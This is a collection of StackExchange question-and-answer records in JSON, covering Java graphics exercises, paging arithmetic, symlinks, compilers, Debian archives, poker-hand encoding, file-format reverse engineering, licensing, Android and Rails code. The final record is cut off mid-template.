{  "id": "_codereview.18332"  , "question": "I came across an exercise (in the book The Art and Science of Java by Eric Roberts) that requires using only GArc and GLine classes to create a lettering library which draws your initials on the canvas. This should be made independent of the GLabel class.Write a GraphicsProgram to draw your initials on the graphics window using only  the GArc and GLine classes rather than GLabel. For example, if I wrote this program, I would want the output to be [an image showing simple letters E S R on a canvas]Think about the best decomposition to use in writing the program. Imagine that  youve been asked to design a more general letter-drawing library. How would you  want the methods in that library to behave in order to make using them as simple as  possible for your clients?I'd like to know the correct approach to use in solving this problem. I'm not sure what I have so far is good enough (I'm thinking it's too long). The questions requires that I use a good Top-Down approach.Here's my code so far://Passes letters to GLetter objects and draws them on the canvaspackage artScienceJavaExercises.chapter8;    package artScienceJavaExercises.chapter8;    import acm.program.*;    //import acm.graphics.*;    public class DrawInitials extends GraphicsProgram{        public void init(){            resize(400,400);        }        public void run(){            //String let = readLine(Letter?: );            letter = new GLetter(l);            add(letter, (getWidth()-letter.getWidth()*2)/2, (getHeight()-letter.getHeight())/2);            add(new GLetter(o), (letter.getX()+letter.getWidth()), letter.getY());        }        private GLetter letter;    }//GLetter Class    package artScienceJavaExercises.chapter8;    import acm.graphics.*;    import java.awt.*;    public class GLetter extends GCompound{        private static final int ONE_THIRD = 30;        private static final int ROW_2_HEIGHT = 40;        private GArc[] arc = new GArc[4];        private GLine[] line = new GLine[24];        public GLetter(String s){            line[0] = new GLine(0,0, ONE_THIRD, 0);            line[1] = new GLine(ONE_THIRD,0, ONE_THIRD*2, 0);            line[2] = new GLine(ONE_THIRD*2,0, ONE_THIRD*3, 0);            line[3] = new GLine(0,0, 0,ONE_THIRD);            line[4] = new GLine(ONE_THIRD,0, ONE_THIRD, ONE_THIRD);            line[5] = new GLine(ONE_THIRD*2,0, ONE_THIRD*2, ONE_THIRD);            line[6] = new GLine(ONE_THIRD*3,0, ONE_THIRD*3, ONE_THIRD);            line[7] = new GLine(0,ONE_THIRD, ONE_THIRD*2, ONE_THIRD);            line[8] = new GLine(ONE_THIRD,ONE_THIRD, ONE_THIRD*2, ONE_THIRD);            line[9] = new GLine(ONE_THIRD*2,ONE_THIRD, ONE_THIRD*3, ONE_THIRD);            line[10] = new GLine(0,ONE_THIRD, 0, ONE_THIRD+ROW_2_HEIGHT);            line[11] = new GLine(ONE_THIRD, ONE_THIRD, ONE_THIRD, ONE_THIRD+ROW_2_HEIGHT);            line[12] = new GLine(ONE_THIRD*2,ONE_THIRD, ONE_THIRD*2, ONE_THIRD+ROW_2_HEIGHT);            line[13] = new GLine(ONE_THIRD*3,ONE_THIRD, ONE_THIRD*3, ONE_THIRD+ROW_2_HEIGHT);            line[14] = new GLine(0, ONE_THIRD+ROW_2_HEIGHT, ONE_THIRD, ONE_THIRD+ROW_2_HEIGHT);            line[15] = new GLine(ONE_THIRD, ONE_THIRD+ROW_2_HEIGHT, ONE_THIRD*2, ONE_THIRD+ROW_2_HEIGHT);            line[16] = new GLine(ONE_THIRD*2, ONE_THIRD+ROW_2_HEIGHT, ONE_THIRD*3, ONE_THIRD+ROW_2_HEIGHT);            line[17] = new GLine(0, ONE_THIRD+ROW_2_HEIGHT,  0, ONE_THIRD*2+ROW_2_HEIGHT);            line[18] = new GLine(ONE_THIRD, ONE_THIRD+ROW_2_HEIGHT,  ONE_THIRD, ONE_THIRD*2+ROW_2_HEIGHT);            line[19] = new GLine(ONE_THIRD*2, ONE_THIRD+ROW_2_HEIGHT,  ONE_THIRD*2, ONE_THIRD*2+ROW_2_HEIGHT);            line[20] = new GLine(ONE_THIRD*3, ONE_THIRD+ROW_2_HEIGHT, ONE_THIRD*3, ONE_THIRD*2+ROW_2_HEIGHT);            line[21] = new GLine(0,ONE_THIRD*2+ROW_2_HEIGHT, ONE_THIRD, ONE_THIRD*2+ROW_2_HEIGHT);            line[22] = new GLine(ONE_THIRD, ONE_THIRD*2+ROW_2_HEIGHT, ONE_THIRD*2, ONE_THIRD*2+ROW_2_HEIGHT);            line[23] = new GLine(ONE_THIRD*2,ONE_THIRD*2+ROW_2_HEIGHT, ONE_THIRD*3, ONE_THIRD*2+ROW_2_HEIGHT);            for(int i = 0; i<line.length; i++){                add(line[i]);                line[i].setColor(Color.BLACK);                line[i].setVisible(false);            }            arc[0] = new GArc(getWidth(), getHeight(), 106.699, 49.341);            arc[1] = new GArc(getWidth(), getHeight(), 23.96, 49.341);            arc[2] = new GArc(getWidth(), getHeight(), -23.96, -49.341);            arc[3] = new GArc(0,0,getWidth(), getHeight(), -106.699, -49.341);            for(int i = 0; i<arc.length; i++){                add(arc[i],0,0);                arc[i].setColor(Color.BLACK);                arc[i].setVisible(false);            }            paintLetter(s);        }        private void paintLetter(String s){            if (s.equalsIgnoreCase(l)){                turnOn(line[3]);                turnOn(line[10]);                turnOn(line[17]);                turnOn(line[21]);                turnOn(line[22]);                turnOn(line[23]);            }            else if(s.equalsIgnoreCase(o)){                for(int i = 0; i<4; ++i){                    turnOn(arc[i]);                }                turnOn(line[1]);                turnOn(line[10]);                turnOn(line[13]);                turnOn(line[22]);            }        }        private void turnOn(GObject g){            g.setVisible(true);        }    }I created a class (GLetter.java) with arrays for GArc and GLine objects. They are positioned in certain ways thereby turning certain Glines and/or GArcs on or off (changing visiblity) would create a pattern for a letter. This Gletter uses the if/else statements to determine which pattern to create - this makes me feel my code is too long.There is another class (DrawInitials.java) that simulates a GraphicsProgram and allows the user to pass certain letters as arguments to the GLetter object. I've used 'L' and 'O' as examples.However, I posted this because I'm not sure I'm using the right approach. That's why I need your help.I feel MY CODE IS TOO LONG!The code above is not the complete project...it only draws letters 'L' and 'O' for now."  , "title": "ACM API based Java exercise"  , "tags": "java;api"  , "accepted_answer": "Your answer is too long because you are trying to do more than you were asked to.public class DrawInitials extends GraphicsProgram{    public void run(){        drawLetterL();        drawLetterO();    }    public void drawLetterL(){         add(new GLine( ... )); // Vertical Stroke         add(new GLine( ... )); // Horizontal Stroke    }    public void drawLetterO(){         add(new GArc( ... )); // A circle    }}How would you generalize this. There may be many answer to this question but an answer similar to the one below is expected I guess:public abstract class LetterDrawer {    // this is to show that you cannot hard-code     // coordinates in a generalized graphics routine    abstract void draw(GObject o, double xOffset, double yOffset);}// this is the class *your clients* will actually usepublic class LetterDrawingService {    Map<Character, LetterDrawer> letterDrawers;    LetterDrawingService () {          // initialize your drawer map    }    public draw(GObject o, char c, double xOffset, double yOffset) {         // Validate as in the @Palacsint's answer         letterDrawers.get(c).draw(o, c, xOffset, yOffset);    }}I doubt book teaches factory classes before arrays, so I will not give an example for that case. Basic Idea is you have a class for each letter which extends some abtract GLetter and pass Offset Position to the constructor. (Side note: you should have a position class, if the graphics library doesn't have them).I do not know acm.grahics package so do not get hung up on the details."  } 
{  "id": "_cs.11719"  , "question": "I am studying Computer Systems. I have th following question and its answer:Given the logical address 0xAEF9 (in hexadecimal) with a page size of  256 bytes, what is the page number?Answer: 0xAE (I found this answer in the web, but I want to know how can I  figure it out myself?How can I figure out the page number for a given logical address?"  , "title": "Given the logical address, how to extract the page number?"  , "tags": "operating systems;memory management;paging;virtual memory"  , "accepted_answer": "Your logical address is made of 16 bits, that means you have a addressable space of $2^{16}$ bits. The page size is typically a power of 2, $2^n$, in this case $2^n = 256 \\Rightarrow n = 8$. The page number is calculated by substracting $n$ from the size of your logical address: $16 - 8 = 8$, so the first 8 bits of the address are your missing page number, that is 0xAE"  } 
{  "id": "_webmaster.15738"  , "question": "I am new to vps hosting. I checked daily process logs on my server and found a user with name nobody consuming more memory than others.So what is the user nobody related to and why is it consuming more memory?This is the log info I found:  user / cpu / mem / mysql  nobody / 0.00 / 27.31 / 0.0"  , "title": "What does the user nobody represent in server process logs"  , "tags": "linux;vps"  } 
{  "id": "_unix.101388"  , "question": "I've been browsing for a minute now trying to find a way to create a relative symlink inside a relative symlink, and what I mean by that is this...I have my CakePHP Templates Skeleton as a symlink inside one of my projects, inside my skeleton, I have a symlink to a plugin outside the skeleton folder, the idea being, I can symlink my CakePHP CMS Skeleton inside my projects, create an Application plugin outside the CMS skeleton symlink, and and the skeleton symlink point to my projects Application plugin. By that I mean the following. I have a CakePHP CMS Skeleton at the following path/mnt/proj/libs/cakephp/lib/Cake/Console/Templates/skelThe path to my project folder is below/mnt/proj/mysite.com/I then symlink the CakePHP CMS Skeleton inside my project folder like so/mnt/proj/mysite.com/cms-skel -> /mnt/proj/libs/cakephp/lib/Cake/Console/Templates/skelInside the skeleton I have a symlink pointing to an Application plugin/mnt/proj/libs/cakephp/lib/Cake/Console/Templates/skel/Plugin/Application -> ../../ApplicationSo inside the CakePHP CMS symlinked folder in mysite.com folder I have/mnt/proj/mysite.com/cms-skel/Plugin/Application -> ../../ApplicationThe issue is, that the above symlink points to/mnt/proj/libs/cakephp/lib/Cake/Console/Templates/ApplicationAnd I need it to point to /mnt/proj/mysite.com/cms-skel/Plugin/ApplicationAny ideas on how I can do the above with symlinks is greatly appreciate, I am not even sure what to google at this point."  , "title": "Create Relative Symlink Inside Relative Symlink"  , "tags": "linux;bash;filesystems;symlink"  , "accepted_answer": "You issue is you're attempting to use a single relative link that will work within 2 directory trees, and yet the relativity of the link is not the same in these 2 trees.ExampleI've created your directory structures starting at proj, but otherwise they're identical.$ pwd/home/saml/projHere's the lib/ tree:$ tree -lf libs/libs`-- libs/cakephp    `-- libs/cakephp/lib        `-- libs/cakephp/lib/Cake            `-- libs/cakephp/lib/Cake/Console                `-- libs/cakephp/lib/Cake/Console/Templates                    |-- libs/cakephp/lib/Cake/Console/Templates/Application                    `-- libs/cakephp/lib/Cake/Console/Templates/skel                        `-- libs/cakephp/lib/Cake/Console/Templates/skel/Plugin                            `-- libs/cakephp/lib/Cake/Console/Templates/skel/Plugin/Application -> ../../Application  [recursive, not followed]Here's the mysite.com/ tree:$ tree -lf mysite.com/mysite.com`-- mysite.com/cms-skel -> /home/saml/proj/libs/cakephp/lib/Cake/Console/Templates/skel/    `-- /home/saml/proj/libs/cakephp/lib/Cake/Console/Templates/skel//Plugin        `-- /home/saml/proj/libs/cakephp/lib/Cake/Console/Templates/skel//Plugin/Application -> ../../ApplicationSo if we were to look at the Application link in the 1st tree, lib/:$ pwd/home/saml/proj/libs/cakephp/lib/Cake/Console/Templates/skel/Plugin$ readlink -f Application/home/saml/proj/libs/cakephp/lib/Cake/Console/Templates/ApplicationHowever, if we do the same analysis in the mysite.com/ directory we see our problem. $ pwd/home/saml/proj/mysite.com/cms-skel/Plugin$ readlink -f Application/home/saml/proj/libs/cakephp/lib/Cake/Console/Templates/ApplicationWhat's going on?Well when you're in the mysite.com/ tree 2 levels above mysite.com/cms-skel/Plugin/ is libs/cakephp/lib/Cake/Console/Templates.This should help to see it:$ pwd/home/saml/proj/mysite.com/cms-skel/Plugin$ readlink -f ../..//home/saml/proj/libs/cakephp/lib/Cake/Console/TemplatesI do not see a way around this given the differences in the number of directories within the 2 trees."  } 
{  "id": "_cs.6506"  , "question": "Lots of basic questions are there in my mind. I need to clear them.Statement 1: A compiler converts a human-readable codes to object codes, and those are converted to a machine code (executable) by linker.Am I right here?At wikipedia, it is written thatObject files are produced by an assembler, compiler, or other languagetranslator, and used as input to the linker.Question 1: An assembler converts assembly language code (MOV A, B ADD C) to machine code. In case of high-level language like C++, that is generated by linker above. So assembler is not used anywhere. So how can it create an object file as written above? Intermediate code is generated to make the code run on different architectures.Question 2: Are *.class (bytecode) files created by java compiler object files? If yes, then can we say that the JVM that runs them is a type of linker (however its not creating the executable)?Question 3: When we compile a C++ program in Turbo C++, we get *.obj files which are the object files. Can we use them to generate the executable in some other architecture?"  , "title": "Some questions regarding compilers and assemblers"  , "tags": "terminology;compilers;code generation"  , "accepted_answer": "I'll try to give a quick answer:Question 1: compiling a high-level language like C requires these steps:source codes --(preprocessing)--> bare *.c without # stuff             --(compiling)------> assembler files             --(assembling)-----> object files             --(linking)--------> executableNowadays all these steps are usually hidden (and not necessarily performed by distinct programs) and the user simply click compile on his favourite IDE. However you can set some options on the compiler and see all the intermediate files like object files.Question 2: a JVM is an interpreter so you can think of .class files like object codes (bytecode) that are loaded, linked and executed (interpreted) at the same time by the JVM.Question 3: though in principle one can convert an object file to a different target architecture the practical answer is no: it's much easier to start from the source code and run the entire compiling process targeting a different architecture."  } 
{  "id": "_unix.66830"  , "question": "Debian Lenny, the current oldstable, ceased receiving security updates early in February, and now seems to no longer be hosted at the usual FTP mirrors (see, e.g., curl http://ftp.nl.debian.org/debian/dists/lenny/ | less).  Are there any surviving FTP repositories of Lenny that can be used via APT?"  , "title": "Are there any source APT repositories for Debian Lenny?"  , "tags": "debian"  , "accepted_answer": "As answered at serverfault.com or more verbose at superuser.com,you need to use now archive.debian.org:deb http://archive.debian.org/debian/ lenny contrib main non-freedeb http://archive.debian.org/debian-security lenny/updates mainTo get the GPG key: apt-get install debian-archive-keyring"  } 
{  "id": "_webmaster.2042"  , "question": "I'm looking into implementing the Facebook like-button on my site. Therefore i'm looking for some good examples of the use of the like-button.I'm looking at the placement of the like-button and the use of the Open Graph meta-properties.Please explain why you like a particular implementation"  , "title": "What is the best implementation of the Facebook like-button you've seen?"  , "tags": "facebook"  } 
{  "id": "_cs.72542"  , "question": "A deck of cards is 52. A hand is 5 cards from the 52 (cannot have a duplicate).  What is the least amount of bits to represent a 5 card hand and how?A hand is NOT order dependent (KQ = QK).  64329 = 96432Yes, can use 52 bits. That can represent a hand of any number of cards.  Given a hand is exactly 5 cards is there a way to represent it with less than 52 bits. A single card can be represented with 6 bits = 64.  So could just use 6 bits * 5 cards = 30 bits.  But that would be order dependent.  I could just sort and this should work. If that would not work please let me know.   Is there a way to get the key to 32 bits or under and not have to sort the 5 card tuple.  This is for poker simulations and sorting would be a lot of overhead compared to just generating the hand.  If I have a dictionary with the relative value of each hand it is two simple lookups and a comparison to compare the value of two hands. If I have to sort the hands first that is large compared to two lookups and a comparison.  In a simulation will compare millions.  I will not get sorted hands from the simulation.  The sort is not simple like 52 51 50 49 48 before  52 51 50 49 47.  You can have straight flush quads ....There are 2598960 possible 5 card hands.  That is the number of rows.  The key is the 5 cards.  I would like to get a key that is 32 bits or under where the the cards do not need to be sorted first.  Cannot just order the list as many hands tie. Suit are spade, club, diamond, and heart.  7c 8c 2d 3d 4s = 7s 8s 2c 3c 4h.  There is a large number of ties.The next step is 64 bits and will take the hit of the sort rather than double the size of the key.  I tested and SortedSet<int> quickSort = new SortedSet<int>() { i, j, k, m, n }; doubles the time of the operation but I still may do it.It gets more complex. I need to be able to represent a boat as twos over fives (22255).  So sorting them breaks that. I know you are going to say but that is fast.  Yes it is fast and trivial but I need as fast as possible.C# for the accepted answer:  private int[] DeckXOR = new int[] {0x00000001,0x00000002,0x00000004,0x00000008,0x00000010,0x00000020,0x00000040,                                    0x00000080,0x00000100,0x00000200,0x00000400,0x00000800,0x00001000,0x00002000,                                    0x00004000,0x00008000,0x00010000,0x00020000,0x00040000,0x00080000,0x00100000,                                    0x00200000,0x00400000,0x00800000,0x01000000,0x02000000,0x04000000,0x07fe0000,                                    0x07c1f000,0x0639cc00,0x01b5aa00,0x056b5600,0x04ed6900,0x039ad500,0x0717c280,                                    0x049b9240,0x00dd0cc0,0x06c823c0,0x07a3ef20,0x002a72e0,0x01191f10,0x02c55870,                                    0x007bbe88,0x05f1b668,0x07a23418,0x0569d998,0x032ade38,0x03cde534,0x060c076a,                                    0x04878b06,0x069b3c05,0x054089a3};public void PokerProB(){    Stopwatch sw = new Stopwatch();    sw.Start();    HashSet<int> cardsXOR = new HashSet<int>();    int cardXOR;    int counter = 0;    for (int i = 51; i >= 4; i--)    {        for (int j = i - 1; j >= 3; j--)        {            for (int k = j - 1; k >= 2; k--)            {                for (int m = k - 1; m >= 1; m--)                {                    for (int n = m - 1; n >= 0; n--)                    {                        counter++;                        cardXOR = DeckXOR[i] ^ DeckXOR[j] ^ DeckXOR[k] ^ DeckXOR[m] ^ DeckXOR[n];                        if (!cardsXOR.Add(cardXOR))                            Debug.WriteLine(problem);                    }                }            }        }    }    sw.Stop();    Debug.WriteLine(Count {0} millisec {1} , counter.ToString(N0), sw.ElapsedMilliseconds.ToString(N0));    Debug.WriteLine();}"  , "title": "Represent a 5 card poker hand"  , "tags": "combinatorics"  , "accepted_answer": "Let $C$ be a $[52,25,11]$ code. The parity check matrix of $C$ is a $27 \\times 52$ bit matrix such that the minimal number of columns whose XOR vanishes is $11$. Denote the $52$ columns by $A_1,\\ldots,A_{52}$. We can identify each $A_i$ as a binary number of length $27$ bits. The promise is that the XOR of any $1$ to $10$ of these numbers is never $0$. Using this, you can encode your hand $a,b,c,d,e$ as $A_a \\oplus A_b \\oplus A_c \\oplus A_d \\oplus A_e$, where $\\oplus$ is XOR. Indeed, clearly this doesn't depend on the order, and if two hands $H_1,H_2$ collide, then XORing the two hash values gives $10-2|H_1 \\cap H_2|\\leq 10$ numbers whose XOR is zero.Bob Jenkins describes such a code in his site, and from that we can extract the array0x00000001,0x00000002,0x00000004,0x00000008,0x00000010,0x00000020,0x00000040,0x00000080,0x00000100,0x00000200,0x00000400,0x00000800,0x00001000,0x00002000,0x00004000,0x00008000,0x00010000,0x00020000,0x00040000,0x00080000,0x00100000,0x00200000,0x00400000,0x00800000,0x01000000,0x02000000,0x04000000,0x07fe0000,0x07c1f000,0x0639cc00,0x01b5aa00,0x056b5600,0x04ed6900,0x039ad500,0x0717c280,0x049b9240,0x00dd0cc0,0x06c823c0,0x07a3ef20,0x002a72e0,0x01191f10,0x02c55870,0x007bbe88,0x05f1b668,0x07a23418,0x0569d998,0x032ade38,0x03cde534,0x060c076a,0x04878b06,0x069b3c05,0x054089a3Since the first 27 vectors are just the 27 numbers of Hamming weight 1, in order to check that this construction is correct it suffices to consider all $2^{52-27}-1 = 2^{25}-1$ possible non-trivial combinations of the last 25 numbers, checking that their XORs always have Hamming weight at least 10. For example, the very first number 0x07fe0000 has Hamming weight exactly 10."  } 
{  "id": "_reverseengineering.9126"  , "question": "I've been trying to google any information about how can i create a viewer for some custom file formats.In my case I've extracted multiple .tbl files from game sources. This file contains a database table. From what I was able to google, I was able to extract file header. I have tried some tbl-viewers but they say file is corrupted, so i assume that custom encryption presents here.First Bytes of file 1:00000000    46 54 41 42 4c 45 00 00 00 00 10 00 21 00 00 0000000010    03 00 00 00 2c 00 00 00 b0 00 00 00 b4 00 00 0000000020    10 00 00 00 c4 02 00 00 00 00 00 00 01 00 00 0000000030    02 00 00 00 03 00 00 00 04 00 00 00 05 00 00 00First Bytes of file 2:00000000    46 54 41 42 4c 45 00 00 00 00 10 00 22 00 00 0000000010    15 00 00 00 2c 00 00 00 b4 00 00 00 ca 00 00 0000000020    58 00 00 00 7a 0c 00 00 00 00 00 00 01 00 00 0000000030    02 00 00 00 03 00 00 00 04 00 00 00 06 00 00 00So in this case first 12 bytes seem to be the file header46 54 41 42 4c 45 00 00 00 00 10 00which stand for FTABLE......And this is where i am stuck at. I didnt find information on what to do next to achieve my goal"  , "title": "File reverse engineering - .tbl format"  , "tags": "file format;encryption"  } 
{  "id": "_softwareengineering.333435"  , "question": "TL;DROur app has a Django backend and an Angular 2 frontend; we package it up in Docker. Our client wishes to run this app on their HPC hardware. In return, they pay us a monthly 'subscription'.How can we make sure that the client cannot cancel the contract with us but continue to use the software?More detailWe have made this app that manages simulations and the data from simulations that use an HPC resource. We intend to make this a cloud-based thing but we have a client who wants to use their own hardware.We have a good relationship with them and value their feedback, so we're happy with this arrangement.Our concern is if we try to enter similar agreements with other clients we don't know in the future. We'd probably want to let them trial the software first, but how do we prevent them from running off with it afterwards?We have a Django backend and an Angular 2 frontend. I don't know if that makes a big difference.I understand we can obfuscate the code somewhat. Though, there will always be a way back to the original code. Our bigger concern is that someone can stop paying the bills but continue to use our software.Is there some way we can license the app? I wonder if there is a way to make the code only work if a valid key is provided. These keys would become invalid over time. We would be the only ones who could generate these keys.Oh. And this client's HPC doesn't connect to the internet. So no cloud-based authorisation is going to work, I don't think.Any ideas?"  , "title": "How to control use software hosted on client's computer"  , "tags": "licensing;client relations"  } 
{  "id": "_codereview.123950"  , "question": "private void loadTabsIfGPSAndInternetAvailable()    {        final Utils utils = new Utils(this);        final LocationClient locationClient = new LocationClient(this);        if (!utils.isConnected())        {            utils.generateNoConnectivityAlert();        }        else if (!locationClient.hasGPS())        {            utils.generateNoGPSAlert();        }        else        {            if (androidVersion >= Build.VERSION_CODES.M)            {                requestAllPermissions();            }            else            {                loadCameraAndForecastTabs();            }        } // ends else block for if internet and GPS are enabled    }This is some code that loads tabs if the GPS and internet connectivity are available.  I'm aware that at the moment this is very messy code, with lots of nested if statements, that is hard to read, and am not sure how to structure it better.  Can people help me please?"  , "title": "Asking for GPS and Internet permissions"  , "tags": "java;android"  } 
{  "id": "_unix.283531"  , "question": "A have a brand new 16GB class 10 SD card and produce a very strange behavior.After I attached the the card with an USB SD-Card reader, the device appeared as /dev/sdb. I tried to copy a 2GB raw image with dd into, but it's immediately returns: No more space left on device.The block device shows: there is only 10M space on it.ls -lah /dev/sdb-rw-r--r-- 1 root root 10M mj   16 23:16 /dev/sdbfdisk shows the same size:fdisk -l /dev/sdbDisk /dev/sdb: 10 MiB, 10485760 bytes, 20480 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisklabel type: dosDisk identifier: 0x84f9d19fI've tried the SD-card with another reader, but looks like it's not a card reader issue, the size of the SD card is 10M with every single reader.cat /proc/partitionsmajor minor  #blocks  name...   8       16   15558144 sdb...The interesting part is: the kernel looks like actually knows the right size of SD card.cat /sys/block/sdb/size31116288  # numbers of 512 byte blocks => 15.93 GBAnd seems like it's properly recognized.May 16 22:58:07 DDSI-Laptop kernel: [258762.883672] usb 1-3: New USB device found, idVendor=14cd, idProduct=125cMay 16 22:58:07 DDSI-Laptop kernel: [258762.883674] usb 1-3: New USB device strings: Mfr=1, Product=3, SerialNumber=2May 16 22:58:07 DDSI-Laptop kernel: [258762.883675] usb 1-3: Product: Mass Storage DeviceMay 16 22:58:07 DDSI-Laptop kernel: [258762.883676] usb 1-3: Manufacturer: GenericMay 16 22:58:07 DDSI-Laptop kernel: [258762.883677] usb 1-3: SerialNumber: 125C20100726May 16 22:58:07 DDSI-Laptop kernel: [258762.883972] usb-storage 1-3:1.0: USB Mass Storage device detectedMay 16 22:58:07 DDSI-Laptop kernel: [258762.884114] scsi host52: usb-storage 1-3:1.0May 16 22:58:07 DDSI-Laptop mtp-probe: checking bus 1, device 30: /sys/devices/pci0000:00/0000:00:14.0/usb1/1-3May 16 22:58:07 DDSI-Laptop mtp-probe: bus: 1, device: 30 was not an MTP deviceMay 16 22:58:08 DDSI-Laptop kernel: [258763.881813] scsi 52:0:0:0: Direct-Access     Mass     Storage Device        PQ: 0 ANSI: 0 CCSMay 16 22:58:08 DDSI-Laptop kernel: [258763.882008] sd 52:0:0:0: Attached scsi generic sg1 type 0May 16 22:58:08 DDSI-Laptop kernel: [258763.883073] sd 52:0:0:0: [sdb] 31116288 512-byte logical blocks: (15.9 GB/14.8 GiB)May 16 22:58:08 DDSI-Laptop kernel: [258763.883195] sd 52:0:0:0: [sdb] Write Protect is offMay 16 22:58:08 DDSI-Laptop kernel: [258763.883198] sd 52:0:0:0: [sdb] Mode Sense: 03 00 00 00May 16 22:58:08 DDSI-Laptop kernel: [258763.883312] sd 52:0:0:0: [sdb] No Caching mode page foundMay 16 22:58:08 DDSI-Laptop kernel: [258763.883315] sd 52:0:0:0: [sdb] Assuming drive cache: write throughWhat cause the difference?"  , "title": "linux: Class10 SD card different device and block device size"  , "tags": "linux;debian;block device;sd card;partition table"  , "accepted_answer": "- /dev/sdbThis is a regular file, not a device. You must have tried to write to /dev/sdb at some point when there was no device connected with this drive letter. Be careful! You were lucky not to overwrite a different device from the one you intended.Information about block devices in /proc and /sys is provided directly by the kernel uses the kernel's name for the device. Device nodes in /dev are managed by udev; they normally follow the kernel's device names (and add other names as symbolic links) but writing to /dev manually can disrupt udev. Since the directory entry /dev/sdb already existed, it didn't create the device node when you plugged in the SD card.Remove /dev/sdb, eject the SD card, plug it back in, and check what device name it gets. You should see a block device:$ ls -l /dev/sdbbrw-rw-rw- 1 root disk 8, 16  /dev/sdb    "  } 
{  "id": "_codereview.61080"  , "question": "I have a Rails 3.2.14 app where I have a home controller (dashboard).  In this controller and view I'm calling multiple instance variables to get different counts based off of scopes I've created in the Call and Unit model.  I'd like to see if anyone has any suggestions on how I can DRY this up and query less so the controller/view loads faster. This code is very old and I'm looking for the best way to refactor it.home_controller.rb  def index    @calls = Call.open_status    @all = Call.all    @unit = Unit.active.order(unit_name)    @avail = Unit.active.in_service    @unavail = Unit.active.out_of_service    @unassigned = Call.unassigned_calls    @today = Call.today    @year = Call.year    @previous = Call.previous_year    @assigned = Call.assigned_calls.until_end_of_day    @unassigned = Call.unassigned_calls.until_end_of_day    @scheduled = Call.scheduled_calls  endendcall.rb model scope :open_status, where(call_status: open)  scope :cancel, where(call_status: cancel)  scope :closed, where(call_status: close)  scope :waitreturn, where(wait_return: yes)  scope :wc, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(WC).id) }  scope :bls, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(BLS).id) }  scope :als, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(ALS).id) }  scope :micu, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(MICU).id) }  scope :cct, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(CCT).id) }  scope :assist, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(ASSIST).id) }  scope :em, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(EM).id) }  scope :by_service_level, lambda { |service_level| where(service_level_id: ServiceLevel.find_by_level_of_service(service_level).id) }  scope :by_region, lambda { |region| where(region_id: Region.find_by_area(region).id) }  scope :from_facility, lambda { |id| where(transfer_from_id: id) }  scope :to_facility, lambda { |id| where(transfer_to_id: id) }  scope :search_between, lambda { |start_date, end_date| where(transfer_date BETWEEN ? AND ?, start_date.beginning_of_day, end_date.end_of_day)}  scope :search_by_start_date,  lambda { |start_date| where('transfer_date BETWEEN ? AND ?', start_date.beginning_of_day, start_date.end_of_day) }  scope :search_by_end_date, lambda { |end_date| where('transfer_date BETWEEN ? AND ?', end_date.beginning_of_day, end_date.end_of_day) }  scope :open_calls, lambda { open_status.includes(:call_units).where([call_units.unit_id IS NOT NULL]) }  scope :unassigned_calls, lambda { open_status.includes(:call_units).where([call_units.unit_id IS NULL]).order(transfer_date ASC) }  scope :assigned_calls, lambda { open_status.includes(:call_units).where([call_units.unit_id IS NOT NULL]).order(transfer_date ASC) }  scope :by_unit_name, lambda {|unit_name| joins(:units).where('units.unit_name = ?', unit_name)}  scope :ambulance, lambda {joins(:units).where('units.vehicle_type = ?', Ambulance)}  scope :wheelchair, lambda {joins(:units).where('units.vehicle_type = ?', Wheelchair)}  scope :scheduled_calls, lambda { open_status.includes(:call_units).where([calls.transfer_date > ?, Time.zone.now.end_of_day]).order(transfer_date ASC) }  scope :medic_calls, lambda { where([call_status = ? and call_units.unit_id IS NOT NULL, open]).order(id ASC) }  scope :today, lambda { where(transfer_date BETWEEN ? AND ?, Time.zone.now.beginning_of_day, Time.zone.now.end_of_day) }  scope :yesterday, lambda { where(transfer_date BETWEEN ? AND ?, 1.day.ago.beginning_of_day, 1.day.ago.end_of_day) }  scope :year, lambda { where(transfer_date BETWEEN ? AND ?, Time.zone.now.beginning_of_year, Time.zone.now.end_of_year) }  scope :previous_year, lambda {where(transfer_date BETWEEN ? AND ?, 1.year.ago.beginning_of_year, 1.year.ago.end_of_year)}  scope :until_end_of_day, lambda { where(transfer_date < ?, Time.zone.now.end_of_day) }unit.rb model  scope :in_service, lambda { where(status_id: Status.where(unit_status: [In Service, At Post, At Station]).map(&:id))}  scope :out_of_service, lambda { where(status_id: Status.find_by_unit_status(Out of Service).id)}  scope :active, where(unit_status: Active)home/index.html.erb<div class=main-area dashboard>    <div class=container>        <div class=row>            <div class=span12>                <div class=slate clearfix>                    <a class=stat-column href=#>                    <span class=number><%= @today.count %></span>                    <span>Today's Calls</span>                    <span class=number><%= @year.count %></span>                    <span>Current YTD Calls</span>                    <span class=number><%= @previous.count %></span>                    <span>Previous YTD Calls</span>                    <span class=number><%= @all.count %></span>                    <span>Calls To Date</span>                    </a>                    <a class=stat-column href=#>                    <span class=number><%= @calls.count %></span>                    <span>Open Calls</span>                    <span class=number><%= @assigned.count %></span>                    <span>Active Calls</span>                    <span class=number><%= @scheduled.count %></span>                    <span>Scheduled Calls</span>                    <span class=number><%= @unassigned.count %></span>                    <span>Unassigned Calls</span>                    </a>                    <a class=stat-column href=#>                    <span class=number><%= @today.ambulance.count %></span>                    <span>Ambulance Calls</span>                    <span class=number><%= @today.wheelchair.count %></span>                    <span>Wheelchair Calls</span>                    <span class=number><%= @avail.count %></span>                    <span>Units In Service</span>                    <span class=number><%= @unavail.count %></span>                    <span>Units Out of Service</span>                    </a>                    <a class=stat-column href=#>                    <span class=number><%= @today.bls.count %></span>                    <span>BLS Calls</span>                    <span class=number><%= @today.als.count %></span>                    <span>ALS Calls</span>                    <span class=number><%= @today.cct.count %></span>                    <span>CCT Calls</span>                    <span class=number><%= @today.micu.count %></span>                    <span>MICU Calls</span>                    </a>                </div>            </div>        </div>        <div class=row>            <div class=span6>                <div class=slate>                    <div class=page-header>                        <h2><i class=icon-signal pull-right></i>Medics</h2>                        </div>                            <table class=table table-striped table-bordered>                                <thead>                                    <tr>                                    <th>Unit</th>                                    <th>Attendant</th>                                    <th>InCharge</th>                                    </tr>                                </thead>                            <tbody>                              <tr>                                <% @unit.each do |unit| %>                                <td><%= 